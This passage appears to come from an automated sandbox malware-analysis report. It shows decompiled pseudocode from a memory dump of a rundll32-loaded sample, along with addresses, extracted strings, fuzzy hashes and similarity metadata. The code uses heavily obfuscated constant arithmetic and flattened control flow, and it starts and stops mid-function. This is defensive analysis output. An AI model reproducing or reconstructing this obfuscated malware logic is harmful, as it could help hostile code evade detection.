				_v32 = _v32 ^ 0x0027d765;
				_v36 = 0xf5ff29;
				_v36 = _v36 * 0x76;
				_v36 = _v36 >> 0xa;
				_v36 = _v36 ^ 0x001b4776;
				_v40 = 0x56e274;
				_v40 = _v40 + 0xffff352b;
				_v40 = _v40 + 0xfba8;
				_v40 = _v40 ^ 0x00503dc4;
				_v88 = 0xf7a5fd;
				_v88 = _v88 << 0xc;
				_v88 = _v88 | 0xc84989df;
				_v88 = _v88 + 0x2674;
				_v88 = _v88 ^ 0xfa654db8;
				_v92 = 0xe99424;
				_v92 = _v92 ^ 0xdf6f7e58;
				_v92 = _v92 + 0x7760;
				_v92 = _v92 + 0xfffff005;
				_v92 = _v92 ^ 0xdf8fb52f;
				_v80 = 0xce8530;
				_v80 = _v80 / _t248;
				_v80 = _v80 << 2;
				_v80 = _v80 + 0x1606;
				_v80 = _v80 ^ 0x003f2ed9;
				_v84 = 0x7d4b20;
				_t226 = 0x1f;
				_v84 = _v84 * 0x57;
				_v84 = _v84 ^ 0xbb448dcc;
				_v84 = _v84 >> 6;
				_v84 = _v84 ^ 0x0249de95;
				_v24 = 0x2a204c;
				_v24 = _v24 | 0x1085675c;
				_v24 = _v24 ^ 0x10ace045;
				_v28 = 0xa190ea;
				_v28 = _v28 | 0x3e74eaa8;
				_v28 = _v28 ^ 0x3efbace0;
				_v52 = 0xf2956c;
				_v52 = _v52 | 0x5ce23116;
				_v52 = _v52 + 0x7ed9;
				_v52 = _v52 ^ 0xf3a43140;
				_v52 = _v52 ^ 0xaf505bb5;
				_v56 = 0xd93889;
				_v56 = _v56 | 0x11866af3;
				_v56 = _v56 ^ 0x3b5f8865;
				_v56 = _v56 / _t226;
				_v56 = _v56 ^ 0x0152cadf;
				_v60 = 0x2b81e7;
				_v60 = _v60 / _t248;
				_v60 = _v60 ^ 0xcef74e6a;
				_v60 = _v60 + 0x70e3;
				_v60 = _v60 ^ 0xcefef538;
				while(1) {
					L1:
					_t216 = 0xbdf265f;
					do {
						L2:
						while(_t246 != 0x196af19) {
							if(_t246 == 0x57b7895) {
								_t246 = 0x196af19;
								continue;
							}
							if(_t246 == 0x72a3784) {
								return E029CFA7D(_v52, _v56,  *((intOrPtr*)(_t245 + 0x40)), _v60);
							}
							if(_t246 != _t216) {
								if(_t246 != 0xeedc993) {
									goto L14;
								} else {
									_t226 = _v88;
									_t220 = E029C3792(_v88, _v92,  *((intOrPtr*)(_t245 + 0x40)));
									_t250 =  &(_t250[1]);
									 *((intOrPtr*)(_t245 + 0x3c)) = _t220;
									_t216 = 0xbdf265f;
									_t246 =  !=  ? 0xbdf265f : 0x72a3784;
									continue;
								}
							}
							_t219 = E029C37AD(E029D45BC, _t245, _v80, _t226, _v84, _v24, _t226, _t226, _v28);
							_t250 =  &(_t250[8]);
							 *((intOrPtr*)(_t245 + 0x54)) = _t219;
							__eflags = _t219;
							if(__eflags == 0) {
								_t246 = 0x72a3784;
								while(1) {
									L1:
									_t216 = 0xbdf265f;
									goto L2;
								}
							}
							return _t219;
							L18:
						}
						_t226 = _t223;
						_t217 = E029C68AD(_t223, __eflags, _v72, _v20, _v76);
						_t250 =  &(_t250[3]);
						 *((intOrPtr*)(_t245 + 0x40)) = _t217;
						__eflags = _t217;
						if(_t217 == 0) {
							_t246 = 0x6433b10;
							_t216 = 0xbdf265f;
							goto L14;
						} else {
							E029CF8D6(_v68,  *((intOrPtr*)(_t245 + 0x40)), _v44,  *((intOrPtr*)(_t245 + 0x40)), _v48);
							_t226 = _v16;
							E029D834F(_v16, _v32, _v36, _v40,  *((intOrPtr*)(_t245 + 0x40)));
							_t250 =  &(_t250[7]);
							_t246 = 0xeedc993;
							goto L1;
						}
						goto L18;
						L14:
						__eflags = _t246 - 0x6433b10;
					} while (__eflags != 0);
					return _t216;
				}
			}

0x029c9565
0x029c956c
0x029c956e
0x029c9570
0x029c9575
0x029c957d
0x029c9585
0x029c958d
0x029c9592
0x029c959a
0x029c95a2
0x029c95aa
0x029c95b2
0x029c95b7
0x029c95bf
0x029c95c7
0x029c95cf
0x029c95d7
0x029c95dc
0x029c95e4
0x029c95ec
0x029c95f4
0x029c95fc
0x029c9604
0x029c960c
0x029c9619
0x029c961d
0x029c9624
0x029c9629
0x029c9631
0x029c9636
0x029c9645
0x029c9648
0x029c9649
0x029c964d
0x029c9655
0x029c965d
0x029c9665
0x029c9675
0x029c9679
0x029c9681
0x029c9689
0x029c9691
0x029c9699
0x029c96a1
0x029c96ab
0x029c96af
0x029c96b7
0x029c96c4
0x029c96c8
0x029c96cd
0x029c96d5
0x029c96dd
0x029c96e5
0x029c96ed
0x029c96f5
0x029c96fd
0x029c9702
0x029c970a
0x029c9712
0x029c971a
0x029c9722
0x029c972a
0x029c9732
0x029c973a
0x029c9742
0x029c9750
0x029c9756
0x029c975b
0x029c9763
0x029c976b
0x029c977a
0x029c977b
0x029c977f
0x029c9787
0x029c978c
0x029c9794
0x029c979c
0x029c97a4
0x029c97ac
0x029c97b4
0x029c97bc
0x029c97c4
0x029c97cc
0x029c97d4
0x029c97dc
0x029c97e4
0x029c97ec
0x029c97f4
0x029c97fc
0x029c980c
0x029c9810
0x029c9818
0x029c982b
0x029c982f
0x029c9837
0x029c983f
0x029c9847
0x029c9847
0x029c9847
0x029c984c
0x00000000
0x029c984c
0x029c985e
0x029c98cf
0x00000000
0x029c98cf
0x029c9862
0x00000000
0x029c9963
0x029c986a
0x029c9872
0x00000000
0x029c9878
0x029c987f
0x029c9883
0x029c9888
0x029c988b
0x029c9892
0x029c9897
0x00000000
0x029c9897
0x029c9872
0x029c98b5
0x029c98ba
0x029c98bd
0x029c98c0
0x029c98c2
0x029c98c8
0x029c9847
0x029c9847
0x029c9847
0x00000000
0x029c9847
0x029c9847
0x029c996b
0x00000000
0x029c996b
0x029c98dd
0x029c98e7
0x029c98ec
0x029c98ef
0x029c98f2
0x029c98f4
0x029c9936
0x029c993b
0x00000000
0x029c98f6
0x029c990c
0x029c9920
0x029c9924
0x029c9929
0x029c992c
0x00000000
0x029c992c
0x00000000
0x029c9940
0x029c9940
0x029c9940
0x00000000
0x029c984c

Strings

K}, xrefs: 029C976B
tV, xrefs: 029C96D5
`w, xrefs: 029C972A
L *, xrefs: 029C9794
p, xrefs: 029C9837
t&, xrefs: 029C970A

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: K}$L *$`w$t&$tV$p
API String ID: 0-1343311438
Opcode ID: f7f1a48b96c594f2f1188504386437b5a1541065dbb2b4a31c4788ea8f3dbef2
Instruction ID: 9623e2b739406c019866aa1011c7b40515875115dd4c4c4efd3a178aaf29b0da
Opcode Fuzzy Hash: f7f1a48b96c594f2f1188504386437b5a1541065dbb2b4a31c4788ea8f3dbef2
Instruction Fuzzy Hash: 57A13FB2808381AFD798CF25D58A41BFBE1BBC4758F109A1CF19596220D7B5D909CF83

Uniqueness

Uniqueness Score: -1.00%

Function 029D6B91, Relevance: 7.7, Strings: 6, Instructions: 152
COMMONCrypto

Download Yara Rule

C-Code - Quality: 98%

			E029D6B91() {
				char _v524;
				signed int _v528;
				signed int _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				signed int _v548;
				signed int _v552;
				signed int _v556;
				signed int _v560;
				signed int _v564;
				signed int _v568;
				signed int _v572;
				signed int _v576;
				signed int _v580;
				signed int _v584;
				signed int _v588;
				signed int _v592;
				short* _t145;
				void* _t148;
				signed int _t169;
				signed int _t170;
				void* _t173;

				_v584 = 0xc0b456;
				_t148 = 0xc23c594;
				_v584 = _v584 * 0x47;
				_v584 = _v584 << 4;
				_v584 = _v584 ^ 0x5723ae6f;
				_v592 = 0xac0c2;
				_v592 = _v592 ^ 0xd4e03ddb;
				_t169 = 0x5b;
				_v592 = _v592 / _t169;
				_v592 = _v592 << 0x10;
				_v592 = _v592 ^ 0xfa53fa68;
				_v564 = 0xa5641;
				_v564 = _v564 + 0x77f4;
				_v564 = _v564 ^ 0x0002744f;
				_v544 = 0x3ad6e5;
				_t170 = 0x5e;
				_v544 = _v544 / _t170;
				_v544 = _v544 ^ 0x00082139;
				_v576 = 0xed2f6c;
				_v576 = _v576 | 0x87159ad5;
				_v576 = _v576 * 0x44;
				_v576 = _v576 ^ 0x1f60b214;
				_v536 = 0x4efcfb;
				_v536 = _v536 ^ 0x18d9d681;
				_v536 = _v536 ^ 0x189fd8b0;
				_v580 = 0x115456;
				_v580 = _v580 | 0x7cf1a972;
				_v580 = _v580 << 0xe;
				_v580 = _v580 ^ 0x7f523301;
				_v548 = 0x4bf21c;
				_v548 = _v548 + 0x5fc2;
				_v548 = _v548 ^ 0x00424866;
				_v556 = 0xbb1cd1;
				_v556 = _v556 << 0xb;
				_v556 = _v556 ^ 0xd8e9a75a;
				_v552 = 0xcf6128;
				_v552 = _v552 ^ 0x8d659f97;
				_v552 = _v552 ^ 0x8da4f752;
				_v568 = 0x5eee2d;
				_t70 =  &_v568; // 0x5eee2d
				_v568 =  *_t70 * 0x6a;
				_v568 = _v568 ^ 0x2741b8ef;
				_v560 = 0x5733cc;
				_v560 = _v560 << 6;
				_v560 = _v560 ^ 0x15cdcac9;
				_v528 = 0x6e816;
				_v528 = _v528 * 0x70;
				_v528 = _v528 ^ 0x03044bcd;
				_v588 = 0xe38351;
				_v588 = _v588 << 0xd;
				_v588 = _v588 + 0x72eb;
				_v588 = _v588 << 8;
				_v588 = _v588 ^ 0x6a961ae9;
				_v532 = 0x6f4c74;
				_v532 = _v532 + 0xffc3;
				_v532 = _v532 ^ 0x007aba1b;
				_v540 = 0xded8c;
				_v540 = _v540 + 0x3407;
				_v540 = _v540 ^ 0x000c1bdd;
				_v572 = 0x7f9d62;
				_v572 = _v572 + 0x7293;
				_v572 = _v572 + 0xf5f2;
				_v572 = _v572 ^ 0x008be406;
				do {
					while(_t148 != 0x1ac947) {
						if(_t148 == 0xaa23693) {
							_push(0x29c141c);
							E029E06A6(__eflags,  *0x29e5bd8 + 0x238, _v564, E029E0AD3(_v584, _v592, __eflags), _v544, _v576,  &_v524, _v536);
							_t173 = _t173 + 0x1c;
							_t145 = E029D2EED(_v580, _v548, _v556, _t142);
							_t148 = 0xc6e8114;
							continue;
						} else {
							if(_t148 == 0xc23c594) {
								_t148 = 0xaa23693;
								continue;
							} else {
								if(_t148 == 0xc6e8114) {
									_t145 = E029D0F17(_v552, _v568,  &_v524, _v560, _v528);
									_t173 = _t173 + 0xc;
									 *_t145 = 0;
									_t148 = 0x1ac947;
									continue;
								}
							}
						}
						goto L9;
					}
					__eflags = 0;
					E029CB7EC(0, _v532,  &_v524,  &_v524, _v540, E029D0FC5, _v572);
					_t173 = _t173 + 0x18;
					_t148 = 0xc26f8f3;
					L9:
					__eflags = _t148 - 0xc26f8f3;
				} while (__eflags != 0);
				return _t145;
			}

0x029d6b97
0x029d6ba6
0x029d6baf
0x029d6bb8
0x029d6bc2
0x029d6bcf
0x029d6bd7
0x029d6be5
0x029d6bea
0x029d6bf0
0x029d6bf5
0x029d6bfd
0x029d6c05
0x029d6c0d
0x029d6c15
0x029d6c21
0x029d6c24
0x029d6c28
0x029d6c30
0x029d6c38
0x029d6c45
0x029d6c49
0x029d6c51
0x029d6c59
0x029d6c61
0x029d6c69
0x029d6c71
0x029d6c79
0x029d6c7e
0x029d6c86
0x029d6c8e
0x029d6c96
0x029d6c9e
0x029d6ca6
0x029d6cab
0x029d6cb3
0x029d6cbb
0x029d6cc3
0x029d6ccb
0x029d6cd3
0x029d6cd8
0x029d6cdc
0x029d6ce4
0x029d6cec
0x029d6cf1
0x029d6cf9
0x029d6d06
0x029d6d0a
0x029d6d12
0x029d6d1a
0x029d6d1f
0x029d6d27
0x029d6d2c
0x029d6d34
0x029d6d3c
0x029d6d44
0x029d6d4c
0x029d6d54
0x029d6d5c
0x029d6d64
0x029d6d6c
0x029d6d74
0x029d6d7c
0x029d6d84
0x029d6d84
0x029d6d8e
0x029d6dd6
0x029d6e09
0x029d6e0e
0x029d6e1e
0x029d6e25
0x00000000
0x029d6d90
0x029d6d96
0x029d6dca
0x00000000
0x029d6d98
0x029d6d9e
0x029d6db9
0x029d6dbe
0x029d6dc3
0x029d6dc6
0x00000000
0x029d6dc6
0x029d6d9e
0x029d6d96
0x00000000
0x029d6d8e
0x029d6e37
0x029d6e4c
0x029d6e51
0x029d6e54
0x029d6e56
0x029d6e56
0x029d6e56
0x029d6e68

Strings

-^, xrefs: 029D6CD3
l/, xrefs: 029D6C30
r, xrefs: 029D6D1F
AV, xrefs: 029D6BFD
tLo, xrefs: 029D6D34
fHB, xrefs: 029D6C96

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: -^$AV$fHB$l/$tLo$r
API String ID: 0-2229134097
Opcode ID: 1d2106d9596d310e4161f7e0cd622948a150034940dadb0c6bf449ea3f0c34c9
Instruction ID: 4c4260719b2a83d8591530f0b76f85186494bce7a2ee2c176dd950c143e27ebc
Opcode Fuzzy Hash: 1d2106d9596d310e4161f7e0cd622948a150034940dadb0c6bf449ea3f0c34c9
Instruction Fuzzy Hash: 807140715083409FC348DF65D58981BFBF5FBC8748F60992DF29A96260C3B58A48CF82

Uniqueness

Uniqueness Score: -1.00%

Function 029CFBEF, Relevance: 6.5, Strings: 5, Instructions: 278
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E029CFBEF(intOrPtr* __ecx) {
				intOrPtr* _v4;
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				void* _t310;
				void* _t311;
				void* _t321;
				void* _t327;
				signed int _t330;
				signed int _t331;
				signed int _t332;
				signed int _t333;
				signed int _t334;
				void* _t343;
				intOrPtr* _t370;
				void* _t374;
				signed int* _t375;

				_t375 =  &_v144;
				_v52 = 0x737e47;
				_v52 = _v52 ^ 0x2fb5ffcb;
				_v52 = _v52 ^ 0x2fc6818c;
				_v44 = 0x8506f8;
				_t370 = __ecx;
				_t374 = 0;
				_t330 = 5;
				_v4 = __ecx;
				_v44 = _v44 / _t330;
				_t327 = 0x87a732b;
				_v44 = _v44 ^ 0x001a9afe;
				_v24 = 0x3e64fc;
				_v24 = _v24 | 0xbdd01166;
				_v24 = _v24 ^ 0xbdfe75fe;
				_v60 = 0xea79e9;
				_v60 = _v60 + 0x558d;
				_v60 = _v60 * 0xe;
				_v60 = _v60 ^ 0x0cd75874;
				_v112 = 0x5699bc;
				_v112 = _v112 / _t330;
				_v112 = _v112 >> 0x10;
				_v112 = _v112 ^ 0x00000011;
				_v136 = 0x4776be;
				_v136 = _v136 ^ 0xa669090d;
				_v136 = _v136 << 0xd;
				_v136 = _v136 | 0x1d31bb37;
				_v136 = _v136 ^ 0xdff04b6f;
				_v96 = 0x32cfd1;
				_t331 = 0xb;
				_v96 = _v96 * 0x2b;
				_v96 = _v96 | 0x69a3cc16;
				_v96 = _v96 ^ 0x69a9a2f3;
				_v16 = 0xf989f2;
				_v16 = _v16 * 0x6e;
				_v16 = _v16 ^ 0x6b33bbcc;
				_v64 = 0xf8294d;
				_v64 = _v64 | 0xd6deffad;
				_v64 = _v64 ^ 0x2aee73f4;
				_v64 = _v64 ^ 0xfc16da59;
				_v108 = 0x7e8db7;
				_v108 = _v108 + 0xc192;
				_v108 = _v108 / _t331;
				_v108 = _v108 ^ 0x000b4316;
				_v128 = 0x3b5699;
				_v128 = _v128 << 6;
				_v128 = _v128 ^ 0x297ecfd7;
				_v128 = _v128 << 7;
				_v128 = _v128 ^ 0xd5b56051;
				_v72 = 0x4be7fe;
				_v72 = _v72 >> 3;
				_v72 = _v72 + 0xffff4554;
				_v72 = _v72 ^ 0x000e527f;
				_v88 = 0xe4c5ea;
				_v88 = _v88 + 0xffff0282;
				_v88 = _v88 >> 3;
				_v88 = _v88 ^ 0x001a065f;
				_v36 = 0x5b6a1;
				_v36 = _v36 + 0xffff4e4a;
				_v36 = _v36 ^ 0x000faee5;
				_v116 = 0x924620;
				_v116 = _v116 + 0xffffbbda;
				_v116 = _v116 | 0x6d7fda47;
				_v116 = _v116 ^ 0x6dfd26cc;
				_v100 = 0x395587;
				_v100 = _v100 ^ 0x8895dae3;
				_v100 = _v100 >> 7;
				_v100 = _v100 ^ 0x01137f0f;
				_v76 = 0xe67ff;
				_v76 = _v76 << 0xb;
				_v76 = _v76 + 0xffff7adc;
				_v76 = _v76 ^ 0x7331c5d2;
				_v84 = 0x942ed0;
				_v84 = _v84 + 0xa718;
				_v84 = _v84 ^ 0xd3c920ff;
				_v84 = _v84 ^ 0xd35dffd1;
				_v28 = 0xb849e8;
				_v28 = _v28 + 0xffffddae;
				_v28 = _v28 ^ 0x00babf21;
				_v124 = 0x609e09;
				_t332 = 0x28;
				_v124 = _v124 * 0x55;
				_v124 = _v124 | 0xd6a7bad5;
				_v124 = _v124 ^ 0x2e6a8d22;
				_v124 = _v124 ^ 0xd8d8f483;
				_v140 = 0x6105ef;
				_v140 = _v140 | 0xd72d771b;
				_v140 = _v140 >> 5;
				_v140 = _v140 ^ 0x06b666b1;
				_v12 = 0xc5a129;
				_v12 = _v12 + 0xba84;
				_v12 = _v12 ^ 0x00c8844f;
				_v144 = 0x857eed;
				_v144 = _v144 >> 5;
				_v144 = _v144 * 5;
				_v144 = _v144 >> 5;
				_v144 = _v144 ^ 0x00016cc3;
				_v92 = 0x6c0f0;
				_v92 = _v92 * 0x79;
				_v92 = _v92 << 6;
				_v92 = _v92 ^ 0xcc46e60a;
				_v132 = 0xf0f45d;
				_v132 = _v132 * 0x3d;
				_v132 = _v132 >> 7;
				_v132 = _v132 + 0xffcc;
				_v132 = _v132 ^ 0x0070eeac;
				_v40 = 0xe5e43b;
				_v40 = _v40 << 6;
				_v40 = _v40 ^ 0x3971ac11;
				_v48 = 0x58a7b;
				_v48 = _v48 | 0xfcd764c9;
				_v48 = _v48 ^ 0xfcd8c7de;
				_v56 = 0x1b2631;
				_v56 = _v56 + 0xffff7247;
				_v56 = _v56 ^ 0x00196ab2;
				_v80 = 0xdc7ea0;
				_v80 = _v80 | 0xd6502312;
				_v80 = _v80 + 0xffff1f32;
				_v80 = _v80 ^ 0xd6de9b86;
				_v104 = 0x3a4445;
				_v104 = _v104 + 0xffff5289;
				_v104 = _v104 / _t332;
				_v104 = _v104 ^ 0x000b5ab6;
				_v32 = 0x48c945;
				_v32 = _v32 | 0x1e5a7b3e;
				_v32 = _v32 ^ 0x1e589162;
				_v120 = 0x8ebbcb;
				_v120 = _v120 ^ 0x56e353a8;
				_v120 = _v120 + 0xcbd;
				_v120 = _v120 + 0xcb21;
				_v120 = _v120 ^ 0x566ec9ae;
				_v20 = 0xcaadeb;
				_t333 = 0x66;
				_v20 = _v20 / _t333;
				_v20 = _v20 ^ 0x000e3358;
				_v68 = 0x75d354;
				_v68 = _v68 + 0x6567;
				_t334 = 0x6c;
				_v68 = _v68 / _t334;
				_v68 = _v68 ^ 0x00047eb8;
				while(1) {
					L1:
					_t310 = 0xcc3e813;
					do {
						while(_t327 != 0xa61edb) {
							if(_t327 == 0x7fc46ce) {
								E029C2CF9(_v120, _v20, _v112, _v68, _v8);
							} else {
								if(_t327 == 0x87a732b) {
									_t327 = 0xa61edb;
									continue;
								} else {
									_t381 = _t327 - _t310;
									if(_t327 != _t310) {
										goto L9;
									} else {
										_t321 = E029E0AD3(_v124, _v140, _t381);
										_t343 = 0x29c1598;
										E029CF7F4(_v12, _t321, _v144,  *_t370,  *((intOrPtr*)(_t370 + 4)), _t343, _v92, _v8,  *0x29e5be0 + 0x60, _v132, _v40, _v24, _v48, _v56);
										_t327 = 0x7fc46ce;
										_t374 =  ==  ? 1 : _t374;
										E029D2EED(_v80, _v104, _v32, _t321);
										_t375 =  &(_t375[0xe]);
										goto L1;
									}
								}
							}
							L12:
							return _t374;
						}
						_push(0x29c16a8);
						_t311 = E029E0AD3(_v136, _v96, __eflags);
						 *_t375 = 0x29c15c8;
						__eflags = E029C92DD(_t311, _v52, _v108,  &_v8, E029E0AD3(_v16, _v64, __eflags), _v128, _v72, _v88) - _v44;
						_t327 =  ==  ? 0xcc3e813 : 0xc23403;
						E029D2EED(_v36, _v116, _v100, _t311);
						E029D2EED(_v76, _v84, _v28, _t312);
						_t370 = _v4;
						_t375 =  &(_t375[0xb]);
						_t310 = 0xcc3e813;
						L9:
						__eflags = _t327 - 0xc23403;
					} while (__eflags != 0);
					goto L12;
				}
			}

0x029cfbef
0x029cfbf5
0x029cfbff
0x029cfc07
0x029cfc0f
0x029cfc21
0x029cfc23
0x029cfc25
0x029cfc2a
0x029cfc31
0x029cfc35
0x029cfc3a
0x029cfc42
0x029cfc4d
0x029cfc58
0x029cfc63
0x029cfc6b
0x029cfc7a
0x029cfc7e
0x029cfc86
0x029cfc96
0x029cfc9a
0x029cfc9f
0x029cfca4
0x029cfcac
0x029cfcb4
0x029cfcb9
0x029cfcc1
0x029cfcc9
0x029cfcd6
0x029cfcd7
0x029cfcdb
0x029cfce3
0x029cfceb
0x029cfcfe
0x029cfd05
0x029cfd10
0x029cfd18
0x029cfd20
0x029cfd28
0x029cfd30
0x029cfd38
0x029cfd46
0x029cfd4a
0x029cfd52
0x029cfd5a
0x029cfd5f
0x029cfd67
0x029cfd6c
0x029cfd74
0x029cfd7c
0x029cfd81
0x029cfd89
0x029cfd91
0x029cfd99
0x029cfda1
0x029cfda6
0x029cfdae
0x029cfdb6
0x029cfdbe
0x029cfdc6
0x029cfdce
0x029cfdd6
0x029cfdde
0x029cfde6
0x029cfdf0
0x029cfdf8
0x029cfdfd
0x029cfe05
0x029cfe0d
0x029cfe12
0x029cfe1a
0x029cfe22
0x029cfe2a
0x029cfe32
0x029cfe3a
0x029cfe42
0x029cfe4d
0x029cfe58
0x029cfe63
0x029cfe72
0x029cfe75
0x029cfe79
0x029cfe81
0x029cfe89
0x029cfe91
0x029cfe99
0x029cfea1
0x029cfea6
0x029cfeae
0x029cfeb9
0x029cfec4
0x029cfecf
0x029cfed7
0x029cfee1
0x029cfee5
0x029cfeea
0x029cfef2
0x029cfeff
0x029cff03
0x029cff08
0x029cff10
0x029cff1d
0x029cff21
0x029cff26
0x029cff2e
0x029cff36
0x029cff3e
0x029cff43
0x029cff4b
0x029cff53
0x029cff5b
0x029cff63
0x029cff6b
0x029cff73
0x029cff7b
0x029cff83
0x029cff8b
0x029cff93
0x029cff9b
0x029cffa3
0x029cffb3
0x029cffb7
0x029cffbf
0x029cffca
0x029cffd5
0x029cffe0
0x029cffe8
0x029cfff0
0x029cfff8
0x029d0000
0x029d0008
0x029d001a
0x029d001d
0x029d0026
0x029d0031
0x029d0039
0x029d0047
0x029d004a
0x029d004e
0x029d0056
0x029d0056
0x029d0056
0x029d005b
0x029d005b
0x029d006d
0x029d01f2
0x029d0073
0x029d0079
0x029d0118
0x00000000
0x029d007f
0x029d007f
0x029d0081
0x00000000
0x029d0087
0x029d0094
0x029d0099
0x029d00dd
0x029d00f0
0x029d00fd
0x029d010b
0x029d0110
0x00000000
0x029d0110
0x029d0081
0x029d0079
0x029d01fc
0x029d0206
0x029d0206
0x029d012a
0x029d012f
0x029d0141
0x029d0184
0x029d019b
0x029d019e
0x029d01b6
0x029d01bb
0x029d01c2
0x029d01c5
0x029d01ca
0x029d01ca
0x029d01ca
0x00000000
0x029d01d6

Strings

ge, xrefs: 029D0039
G~s, xrefs: 029CFBF5
y, xrefs: 029CFC63
;, xrefs: 029CFF36
ED:, xrefs: 029CFF9B

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: ;$ED:$G~s$ge$y
API String ID: 0-4105283278
Opcode ID: 71c5ed9bf56f73012b9596e11394e322b28bd8d92addd9e9f41d6685a98dd6c2
Instruction ID: 89e1fe0e5ac85d91493eec806ab25de912a4599fd42671c42c46da40feade490
Opcode Fuzzy Hash: 71c5ed9bf56f73012b9596e11394e322b28bd8d92addd9e9f41d6685a98dd6c2
Instruction Fuzzy Hash: CFE101715093809FD3A8CF26C58A61BFBF2FBC5708F508A0DE59996260D7B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 029CBEF5, Relevance: 6.5, Strings: 5, Instructions: 240
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E029CBEF5() {
				intOrPtr _t217;
				signed char _t230;
				signed int _t242;
				intOrPtr _t243;
				signed char _t252;
				intOrPtr* _t259;
				void* _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				signed int _t278;
				signed int _t279;
				intOrPtr _t283;
				void* _t285;

				 *(_t285 + 0x24) = 0x4c4e6f;
				 *(_t285 + 0x24) =  *(_t285 + 0x24) + 0x6e6c;
				_t242 = 0x30cc122;
				 *(_t285 + 0x24) =  *(_t285 + 0x24) + 0xc0a6;
				 *(_t285 + 0x24) =  *(_t285 + 0x24) ^ 0x0047b79e;
				 *(_t285 + 0x20) = 0xb83b02;
				 *(_t285 + 0x20) =  *(_t285 + 0x20) + 0xffff5496;
				 *(_t285 + 0x20) =  *(_t285 + 0x20) | 0x0358b5a9;
				 *(_t285 + 0x20) =  *(_t285 + 0x20) ^ 0x03fb5485;
				 *(_t285 + 0x40) = 0xc1cbb2;
				 *(_t285 + 0x50) =  *(_t285 + 0x40) * 7;
				 *(_t285 + 0x50) =  *(_t285 + 0x50) ^ 0x0542a270;
				 *(_t285 + 0x38) = 0xa110e2;
				 *(_t285 + 0x38) =  *(_t285 + 0x38) ^ 0xd7477815;
				 *(_t285 + 0x38) =  *(_t285 + 0x38) ^ 0x5d2713b8;
				 *(_t285 + 0x38) =  *(_t285 + 0x38) ^ 0x8ac8765e;
				 *(_t285 + 0x14) = 0x662f3e;
				_t28 = _t285 + 0x14; // 0x662f3e
				_t278 = 0x74;
				 *(_t285 + 0x14) =  *_t28 / _t278;
				 *(_t285 + 0x14) =  *(_t285 + 0x14) ^ 0xb35af643;
				 *(_t285 + 0x14) =  *(_t285 + 0x14) + 0xffffe4f0;
				 *(_t285 + 0x14) =  *(_t285 + 0x14) ^ 0xb35308ea;
				 *(_t285 + 0x3c) = 0xa3776d;
				 *(_t285 + 0x3c) =  *(_t285 + 0x3c) ^ 0xc87412f7;
				 *(_t285 + 0x3c) =  *(_t285 + 0x3c) + 0x1b97;
				 *(_t285 + 0x3c) =  *(_t285 + 0x3c) ^ 0xc8d81c69;
				 *(_t285 + 0x54) = 0xa3e3f2;
				 *(_t285 + 0x54) =  *(_t285 + 0x54) | 0xd4fc1d26;
				 *(_t285 + 0x54) =  *(_t285 + 0x54) ^ 0xd4f0c5d5;
				 *(_t285 + 0x58) = 0x2cdf4a;
				 *(_t285 + 0x58) =  *(_t285 + 0x58) * 0x65;
				 *(_t285 + 0x58) =  *(_t285 + 0x58) ^ 0x11b08c70;
				 *(_t285 + 0x20) = 0xb76128;
				 *(_t285 + 0x20) =  *(_t285 + 0x20) | 0xd4060fd8;
				 *(_t285 + 0x20) =  *(_t285 + 0x20) >> 4;
				 *(_t285 + 0x20) =  *(_t285 + 0x20) << 0xf;
				 *(_t285 + 0x20) =  *(_t285 + 0x20) ^ 0xbb77fa46;
				 *(_t285 + 0x44) = 0x71b3b1;
				 *(_t285 + 0x44) =  *(_t285 + 0x44) ^ 0xcdc7d062;
				 *(_t285 + 0x44) =  *(_t285 + 0x44) + 0xc5d9;
				 *(_t285 + 0x44) =  *(_t285 + 0x44) ^ 0xcdb62be3;
				 *(_t285 + 0x40) = 0x5a494;
				 *(_t285 + 0x40) =  *(_t285 + 0x40) ^ 0xd793ecaf;
				 *(_t285 + 0x40) =  *(_t285 + 0x40) + 0xffff21b1;
				 *(_t285 + 0x40) =  *(_t285 + 0x40) ^ 0xd79d3da3;
				 *(_t285 + 0x1c) = 0x4720b8;
				 *(_t285 + 0x1c) =  *(_t285 + 0x1c) ^ 0x9ab5dffb;
				 *(_t285 + 0x1c) =  *(_t285 + 0x1c) | 0x1e0bca26;
				 *(_t285 + 0x1c) =  *(_t285 + 0x1c) * 0x59;
				 *(_t285 + 0x1c) =  *(_t285 + 0x1c) ^ 0x4596fb12;
				 *(_t285 + 0x18) = 0xf123e2;
				 *(_t285 + 0x18) =  *(_t285 + 0x18) + 0xea22;
				 *(_t285 + 0x18) =  *(_t285 + 0x18) | 0x998cf1ad;
				 *(_t285 + 0x18) =  *(_t285 + 0x18) * 0x17;
				 *(_t285 + 0x18) =  *(_t285 + 0x18) ^ 0xd5ee1ca1;
				 *(_t285 + 0x60) = 0x6a8eac;
				 *(_t285 + 0x60) =  *(_t285 + 0x60) << 0xe;
				 *(_t285 + 0x60) =  *(_t285 + 0x60) ^ 0xa3adf4e3;
				 *(_t285 + 0x5c) = 0x123fe3;
